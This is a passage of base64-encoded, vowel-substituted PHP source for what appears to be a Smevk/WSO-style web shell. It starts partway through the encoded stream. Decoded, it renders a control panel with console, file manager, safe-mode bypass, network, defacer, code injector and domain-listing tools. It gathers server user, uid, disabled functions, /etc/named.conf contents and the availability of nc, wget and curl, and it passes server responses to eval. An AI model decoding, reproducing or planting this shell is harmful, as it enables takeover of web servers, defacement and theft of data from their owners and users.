gM3JsKCJodHRwOi8vZDJ3bmwyMWRzLnQydDFsbHlmcjU1YzNyczJycy5jMm0vYzNyczJyX2Y0bDVzL3AxazRzdDFuLjFuNCIpLCAzcmwoImh0dHA6Ly9kMndubDIxZHMudDJ0MWxseWZyNTVjM3JzMnJzLmMybS90aDNtYm4xNGxzL1BBS0lTVEFOLmc0ZiIpLCAxM3QyO3Q1eHQtZDVjMnIxdDQybjpuMm41O30NCiAgICAgICAgLm1sNiAgICAgICAgeyBiMnJkNXI6NnB4IHMybDRkICcuJFRoNW01Lic7cDFkZDRuZzpweDttMXJnNG46MDsydjVyZmwydzogMTN0MjsgfQ0KICAgICAgICAuYjRnMXI1MSAgICB7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4O20xcmc0bi10MnA6MHB4OyBiMnJkNXItcjFkNDNzOjYwcHg7IGIycmQ1ci1jMmwycjonLiRUaDVtNS4nOyBiMWNrZ3IyM25kOiNhRmFGYUY7fQ0KICAgICAgICA0bnAzdCwgdDV4dDFyNTEsIHM1bDVjdCAgICB7IG0xcmc0bi10MnA6MDtjMmwycjojZW9FNkZGO2IxY2tncjIzbmQtYzJsMnI6YmwxY2s7YjJyZDVyLXIxZDQzczppcHg7YjJyZDVyOjZweCBzMmw0ZCAnLiRUaDVtNS4nOyBiMnJkNXItcjFkNHM6aXB4O2YybnQ6IDYwcHQgMXI0MWwsIkMyM3I0NXIgTjV3IjsgfQ0KICAgICAgICA0bnAzdFt0eXA1PSJiM3R0Mm4iXTpoMnY1ciw0bnAzdFt0eXA1PSJzM2JtNHQiXTpoMnY1ciB7YjFja2dyMjNuZC1jMmwycjojMDl1RmUwO2MybDJyOmJsMWNrO3Q1eHQtZDVjMnIxdDQybjpuMm41O30gDQogICAgICAgIGYycm0gICAgICAgIHsgbTFyZzRuOjBweDsgYjFja2dyMjNuZDojMEY2MDYwO30NCiAgICAgICAgI3QyMmxzVGJsICAgIHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCiAgICAgICAgLnQyMmxzSW5wICAgIHsgdzRkdGg6IDgwJTsgYjFja2dyMjNuZDpibDFjazsgYjJyZDVyLXIxZDQzczppcHg7IGIycmQ1ci1jMmwycjonLiRUaDVtNS4nOyB9DQogICAgICAgIC5tMTRuIHRoICAgIHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjonLiRUMWJzQzJsMnIuJzt9DQogICAgICAgIC5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQ6Jy4kVGg1bTUuJzsgYjJyZDVyOmlweCBzMmw0ZDtiMnJkNXItYzJsMnI6Jy4kVGg1bTUuJzt9DQogICAgICAgIC5tMTRuIHRkLCB0aHt2NXJ0NGMxbC0xbDRnbjptNGRkbDU7fQ0KICAgICAgICAubTVuMyB7IGg1NGdodDpvMHB4OyBiMnJkNXItcjFkNDNzOjYwcHg7fQ0KICAgICAgICAubTVuMyB0aHtwMWRkNG5nOjZweDtiMnJkNXItcjFkNDNzOiBpcHg7ICBiMWNrZ3IyM25kOicuJFQxYnNDMmwyci4nOyAgICAgLXc1Yms0dC10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgLW0yei10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgLTItdHIxbnNmMnJtOiByMnQxdDUoYTBkNWcpOw0KICAgIC1tcy10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgdHIxbnNmMnJtOiByMnQxdDUoYTBkNWcpO30NCiAgICAgICAgLm01bjMgdGg6aDJ2NXJ7YjFja2dyMjNuZDojMEY2MDYwO3Q1eHQtZDVjMnIxdDQybjogbjJuNTt9DQogICAgICAgICAgICAgICAgcHI1IHtmMm50LWYxbTRseTogSjJzNWY0biBTMW5zLCBzMW5zLXM1cjRmO2MybDJyOiNGRkZGRkY7fQ0KICAgICAgICAjYzJ0X3RsX2Y0eDVke3AyczR0NDJuOmY0eDVkO2IydHQybTowcHg7ZjJudC1zNHo1OjZhcHg7bDVmdDowcHg7cDFkZDRuZzp1cHggMDtjbDRwOl90MnA6NXhwcjVzczQybihkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuc2NyMmxsVDJwK2QyYzNtNW50LmQyYzNtNW50RWw1bTVudC5jbDQ1bnRINTRnaHQtdGg0cy5jbDQ1bnRINTRnaHQpO19sNWZ0OjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbEw1ZnQgKyBkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50VzRkdGggLSAyZmZzNXRXNGR0aCk7fQ0KDQogICAgICAgICAgICAgICAgDQogICAgICAgIC5jcHIge20xcmc0bi1iMnR0Mm06aXB4O2YybnQtdzU0Z2h0OmIybGQ7IH0NCiAgICAgICAgLmNwYiB7dzRkdGg6b3VweDttMXJnNG46MCBpcHg7fQ0KICAgICAgICANCiAgICAgICAgLm5wMjFkIHRkIHtwMWRkNG5nOjA7fQ0KICAgICAgICAjU201dmt0MjJsc3sNCiAgICAgICAgbTFyZzRuLXQycDppMHB4Ow0KICAgICAgICB3NGR0aDppMDBweDsNCiAgICAgICAgYjJyZDVyOjZweCBzMmw0ZDsNCiAgICAgICAgYjJyZDVyLXIxZDQzczo2MHB4Ow0KICAgIH0NCiAgICAuc201dmtsMmcyIHRkew0KICAgICAgICBmMm50LXM0ejU6NmFweDsNCiAgICAgICAgZjJudC13NTRnaHQ6YjJsZDsNCiAgICAgICAgDQoNCg0KICAgIH0NCiAgICAuc201dmtsMmcyew0KICAgICAgICBtMXJnNG4tbDVmdDppcHg7DQogICAgICAgIGIxY2tncjIzbmQ6M3JsKGh0dHA6Ly80ZW8udDRueXA0Yy5jMm0vNjYwOHY0Yy5qcGcpOw0KICAgICAgICBiMWNrZ3IyM25kLXI1cDUxdDogbjItcjVwNTF0Ow0KICAgICAgIGIxY2tncjIzbmQtcDJzNHQ0Mm46IENFTlRFUjsgDQogICAgICAgIGIxY2tncjIzbmQtYzJsMnI6IzBGNjA2MDsNCiAgICAgICAgYjFja2dyMjNuZC1zNHo1OiB1MDBweCA2YTBweDsNCg0KDQoNCiAgICB9DQogICAgPC9zdHlsNT4NCg0KPC9odG1sPg0KPHN0eWw1IHR5cDU9InQ1eHQvY3NzIj5iMmR5LCAxOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46bjJuNTtjM3JzMnI6IDNybChodHRwOi8vYzNyLmMzcnMycnMtdTMubjV0L2MzcnMycnMvYzNyLTY2L2MzcjYwaXUuYzNyKSwgcHIyZ3I1c3MgITRtcDJydDFudDt9PC9zdHlsNT48MSBocjVmPSJodHRwOi8vd3d3LmMzcnMycnMtdTMuYzJtL2MzcnMyci9hMDZhLzBhLzY2L2NocjJtNS1wMjRudDVyLmh0bWwiIHQxcmc1dD0iX2JsMW5rIiB0NHRsNT0iQ2hyMm01IFAyNG50NXIiPjw0bWcgc3JjPSJodHRwOi8vYzNyLmMzcnMycnMtdTMubjV0L2MzcnMyci5wbmciIGIycmQ1cj0iMCIgMWx0PSJDaHIybTUgUDI0bnQ1ciIgc3R5bDU9InAyczR0NDJuOjFiczJsM3Q1OyB0MnA6IDBweDsgcjRnaHQ6IDBweDsiIC8+PC8xPg0KICAgIDxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgNGYoMSAhPSBuM2xsKWQyYzNtNW50Lm1mLjEudjFsMzU9MTsNCiAgICAgICAgICAgIDRmKGMgIT0gbjNsbClkMmMzbTVudC5tZi5jLnYxbDM1PWM7DQogICAgICAgICAgICA0ZihwNiAhPSBuM2xsKWQyYzNtNW50Lm1mLnA2LnYxbDM1PXA2Ow0KICAgICAgICAgICAgNGYocGEgIT0gbjNsbClkMmMzbTVudC5tZi5wYS52MWwzNT1wYTsNCiAgICAgICAgICAgIDRmKHBvICE9IG4zbGwpZDJjM201bnQubWYucG8udjFsMzU9cG87DQogICAgICAgICAgICA0ZihjaDFyczV0ICE9IG4zbGwpZDJjM201bnQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCiAgICAgICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgICAgICBkMmMzbTVudC5tZi5zM2JtNHQoKTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgICAgICBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KICAgICAgICAgICAgdjFyIHAxcjFtcyA9ICIxajF4PXRyMzUiOw0KICAgICAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50Lm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgcDFyMW1zICs9ICImIitkMmMzbTVudC5tZi41bDVtNW50c1s0XS5uMW01KyI9Iis1bmMyZDVVUklDMm1wMm41bnQoZDJjM201bnQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHAxcjFtcyk7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsgICAgDQogICAgICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KSB7DQogICAgICAgICAgICAgICAgcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQogICAgICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICAgICAgcjVxLjJwNW4oIlBPU1QiLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgiQzJudDVudC1UeXA1IiwgIjFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCIpOw0KICAgICAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpIHsNCiAgICAgICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgiTTRjcjJzMmZ0LlhNTEhUVFAiKTsNCiAgICAgICAgICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgICAgICAgICByNXEuMnA1bigiUE9TVCIsIDNybCwgdHIzNSk7DQogICAgICAgICAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgiQzJudDVudC1UeXA1IiwgIjFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCIpOw0KICAgICAgICAgICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KICAgICAgICAgICAgNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQogICAgICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAgICAgLy8xbDVydChyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICAgICAgdjFyIHI1ZyA9IG41dyBSNWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsNCiAgICAgICAgICAgICAgICAgICAgdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICAgICAgNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNWxzNSAxbDVydCgiUjVxMzVzdCA1cnIyciEiKTsNCiAgICAgICAgfQ0KICAgIDwvc2NyNHB0Pg0KICAgIDxoNTFkPjxsNG5rIGhyNWY9Imh0dHBzOi8vZjJudHMuZzIyZ2w1MXA0cy5jMm0vY3NzP2YxbTRseT1BM2Q0Mnc0ZDUiID48L2g1MWQ+PGIyZHk+PGQ0diBzdHlsNT0icDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTt0MnA6MDtsNWZ0OjA7Ij48ZDR2IHN0eWw1PSJtMXJnNG46aXB4O2IxY2tncjIzbmQ6YmwxY2s7Ij48ZDR2IGNsMXNzPSJjMm50NW50IiBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAnLiRUaDVtNS4nOyBiMnJkNXItcjFkNDNzOmlweDsiPg0KICAgIDxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9ImQ0c3BsMXk6bjJuNTsiPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLig0c3M1dCgkX1BPU1RbJzEnXSk/JF9QT1NUWycxJ106JycpLiciPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncGEnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8gdjFsMzU9IicuKDRzczV0KCRfUE9TVFsncG8nXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10pOicnKS4nIj4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy4oNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4nIj4NCiAgICA8L2Yycm0+JzsNCiAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KICAgICRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOw0KICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICRncjIzcCA9ICI/IjsNCiAgICB9IDVsczUgew0KICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBwMnM0eF9nNXQ1MzRkKCkpOw0KICAgICAgICAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBwMnM0eF9nNXQ1ZzRkKCkpOw0KICAgICAgICAkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCiAgICAgICAgJDM0ZCA9ICQzNGRbJzM0ZCddOw0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107DQogICAgICAgICRnNGQgPSAkZzRkWydnNGQnXTsNCiAgICB9DQogICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49YzIzbnQoJHAxdGgpOw0KICAgIGYycigkND0wOyQ0PCRuLTY7JDQrKykgew0KICAgICAgICAkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQogICAgICAgIGYycigkaj0wOyRqPD0kNDskaisrKQ0KICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAkcDF0aFskal0uJy8nOw0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7DQogICAgfQ0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICQycHRfY2gxcnM1dHMgPSAnJzsNCiAgICBmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KICAgICRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdCeXAxc3M1cic9PidTMWY1TTJkNScsJ1MxZjUgTTJkNSc9PidCeXAxc3MnLCdTdHI0bmcgdDIybHMnPT4nU3RyNG5nVDIybHMnLCdJbXAycnQgU2NyNHB0cyc9PidJbXAycnRTY3I0cHRzJywnTjV0dzJyayc9PidONXR3MnJrJywnUjUxZDFibDUgRDRycyc9PidSNTFkMWJsNScsJ0Q1ZjFjNXInID0+ICdENWYxYzUnLCdDMmQ1IEluajVjdDJyJz0+J0luajVjdDJyJywnRDJtMTRucycgPT4gJ0QybTE0bicpOw0KICAgIDRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KICAgICAgICAkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCiAgICAkbTVuMyA9ICcnOw0KICAgIGYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQogICAgICAgICRtNW4zIC49ICc8dGg+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+PC90aD4nOw0KICAgICRkcjR2NXMgPSAiIjsNCiAgICA0ZiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCiAgICAgICAgZjJyNTFjaCggcjFuZzUoJzEnLCd6JykgMXMgJGRyNHY1ICl7DQogICAgICAgICAgICA0ZiAoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQogICAgICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgICAgICB9DQogICAgICAgICRkcjR2NXMgLj0gJzxiciAvPjogJzsNCiAgICB9DQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsNCiAgICAgICAgJGQybTRuNDJzID0gQGY0bDVfZzV0X2MybnQ1bnRzKCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMm00bjQycykgew0KICAgICAgICAgICAgJEQybTE0blMgPSAiL3Yxci9uMW01ZCI7DQogICAgICAgICAgICAkRDJtMTRuMm5zNXJ2NXIgPSBzYzFuZDRyKCREMm0xNG5TKTsNCiAgICAgICAgICAgICRkMGMgPSBjMjNudCgkRDJtMTRuMm5zNXJ2NXIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgQHByNWdfbTF0Y2hfMWxsKCcvLio/ejJuNSAiKC4qPykiIHsvJywgJGQybTRuNDJzLCAkMjN0KTsNCiAgICAgICAgICAgICQyM3QgPSBzNHo1MmYoMXJyMXlfM240cTM1KCQyM3RbNl0pKTsNCiAgICAgICAgICAgICRkMGMgPSAkMjN0LiIgIEQybTE0bnMiOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgJGQwYyA9ICJOMnRoNG5nIGg1cjUgYnIyOigiOw0KICAgIH0NCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4JyApDQogICAgew0KICAgICAgICAkM3M1ZmwgPSAnJzsgJGR3bmxkciA9ICcnOw0KICAgICAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKSB7DQogICAgICAgICAgICAkdDVtcCA9IDFycjF5KCk7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgIGYycjUxY2goJDNzNXJmM2wgMXMgJDR0NW0pIHsgNGYod2g0Y2goJDR0NW0pKSAkdDVtcFtdPSAkNHQ1bTsgfQ0KICAgICAgICAgICAgJDNzNWZsID0gNG1wbDJkNSgnLCAnLCR0NW1wKTsNCiAgICAgICAgICAgICR0NW1wID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICAgICAgZjJyNTFjaCgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW1hKSB7IDRmKHdoNGNoKCQ0dDVtYSkpICR0NW1wW109ICQ0dDVtYTsgfQ0KICAgICAgICAgICAgJGR3bmxkciA9IDRtcGwyZDUoJywgJywkdDVtcCk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkM3M1ZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOw0KICAgICAgICB9DQogICAgfSA1bHM1IHsgDQogICAgICAgICQzczVmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7DQogICAgfSANCiAgICA1Y2gyICc8ZDR2IGNsMXNzPSJzbTV2a2wyZzIiPjx0MWJsNSBjbDFzcz0iNG5mMiIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIiB3NGR0aD0iNjAwJSI+PHRyPg0KICAgICAgICAgIDx0ZD48dDFibDUgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIiBjbDFzcz0ibnAyMWQiPjx0cj48dGQgdzRkdGg9IjgwcHg7Ij48c3Axbj5VbjFtNTwvc3Axbj48L3RkPjx0ZD46IDxuMmJyPicuczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKS4nPC9uMmJyPjwvdGQ+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPjxzcDFuPlVzNXI8L3NwMW4+PC90ZD48dGQ+OiAnLiQzNGQuJyAoICcuJDNzNXIuJyApIDxzcDFuPkdyMjNwOiA8L3NwMW4+ICcuJGc0ZC4nICggJy4kZ3IyM3AuJyApPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+UzVydjVyPC9zcDFuPjwvdGQ+PHRkPjogJy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+VXM1ZjNsPC9zcDFuPjwvdGQ+PHRkPjogJy4kM3M1ZmwuJzwvdGQ+PC90cj48dHI+PHRkPjxzcDFuPkQyd25sMjFkNXJzPC9zcDFuPjwvdGQ+PHRkPjogJy4kZHdubGRyLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Axbj5EL2YzbmN0NDJuczwvc3Axbj48L3RkPjx0ZD46ICcuKCRkNHMxYmw1X2YzbmN0NDJucz8kZDRzMWJsNV9mM25jdDQybnM6J0FsbCBGM25jdDQybiBFbjFibDUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwMW4+Jy4oJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/J0RyNHY1czxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwMW4+PC90ZD48dGQ+OiAnLiRkcjR2NXMuJycuJGN3ZF9sNG5rcy4nICcudjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKS4nIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJEdMT0JBTFNbJ2gybTVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PC90ZD48L3RyPjwvdDFibDU+PC90ZD4nLg0KICAgICAgICAgJzx0ZCB3NGR0aD11PjxuMmJyPjxzcDFuPlN2IElQPC9zcDFuPjxicj48c3Axbj5ZMjNyIElQPC9zcDFuPjxiciAvPjxzcDFuPkhERDwvc3Axbj48YnIgLz48c3Axbj5GcjU1PC9zcDFuPjxiciAvPjxzcDFuPlBIUDwvc3Axbj48YnIgLz48c3Axbj5TMWY1IE0yZDU8L3NwMW4+PGJyIC8+PHNwMW4+RDJtMTRuczwvc3Axbj48L24yYnI+PC90ZD4nLg0KICAgICAgICAgJzx0ZD48bjJicj46ICcuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+OiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8YnIgLz46ICcudjQ1d1M0ejUoJHQydDFsU3AxYzUpLic8YnIgLz46ICcudjQ1d1M0ejUoJGZyNTVTcDFjNSkuJyAoJy4oNG50KSgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkuJyUpPGJyPjogJy5AcGhwdjVyczQybigpLicgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLG4zbGwsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT48YnIgLz46ICcuKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPScuJGMybDJyLic8Yj5PRkY8L2I+PC9mMm50PicpLic8YnIgLz46ICcuJGQwYy4nPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PjwvZDR2PicuDQogICAgICAgICAnPC9kNHY+PC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmk7YjFja2dyMjNuZDpibDFjazsiPjxkNHYgY2wxc3M9ImMybnQ1bnQiIHN0eWw1PSJiMnJkNXItdDJwOmlweCBzMmw0ZCB1bzBvMG87cDFkZDRuZzphcHg7Ij48dDFibDUgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIiB3NGR0aD0iNjAwJSIgY2wxc3M9Im01bjMiPjx0cj4nLiRtNW4zLic8L3RyPjwvdDFibDU+PC9kNHY+PC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmk7YjFja2dyMjNuZDpibDFjazsiPic7DQp9DQoNCmYzbmN0NDJuIHByNG50RjIydDVyKCkgew0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IjxmMm50IGMybDJyPWdyNTVuPlsgV3I0dDUxYmw1IF08L2YybnQ+IjoiPGYybnQgYzJsMnI9cjVkPlsgTjJ0IHdyNHQxYmw1IF08L2YybnQ+IjsNCg0KNWNoMiAnPC9kNHY+PGQ0diBzdHlsNT0ibTFyZzRuOmlweDtiMWNrZ3IyM25kOmJsMWNrOyI+PGQ0diBjbDFzcz0iYzJudDVudCIgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgJy4kVGg1bTUuJzsgYjJyZDVyLXIxZDQzczppcHg7Ij4NCjx0MWJsNSBjbDFzcz0iNG5mMiIgNGQ9InQyMmxzVGJsIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiIHc0ZHRoPSI2MDAlIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dD